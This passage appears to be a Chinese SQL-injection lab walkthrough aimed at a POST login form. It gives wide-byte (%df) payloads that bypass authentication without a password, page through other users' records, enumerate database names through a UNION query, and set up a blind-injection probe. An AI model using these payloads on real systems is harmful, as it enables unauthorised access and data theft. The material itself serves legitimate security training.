表單 , 需要POST提交 , 這次真是得用Burp了

響應(yīng)體中出現(xiàn)SQL語法錯(cuò)誤 :
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin?\'' and password='' LIMIT 0,1' at line 1
重新構(gòu)造畸形用戶名 :

我們沒有輸入密碼 , 卻成功登陸 , 已越權(quán)
或者可以這樣 , 獲取別的用戶的信息 , 水平越權(quán)
uname=admin%df'or%201%20limit%201,1%23&passwd=&submit=Submit
uname=admin%df'or%201%20limit%202,1%23&passwd=&submit=Submit
uname=admin%df'or%201%20limit%203,1%23&passwd=&submit=Submit
...
由于這里會(huì)將數(shù)據(jù)庫中匹配的用戶名和密碼回顯在頁面 , 這樣我們可以利用這個(gè)注入點(diǎn)進(jìn)行明注 , 查詢整個(gè)數(shù)據(jù)庫的其他數(shù)據(jù) :
uname=admin%df'or%200%20union%20select%201,1%23&passwd=&submit=Submit
uname=admin%df'or%200%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata%23&passwd=&submit=Submit
盲注
還是利用之前的通殺Payload
uname=admin%df'or()or%200%23&passwd=&submit=Submit
括號(hào)的地方可以進(jìn)行盲注
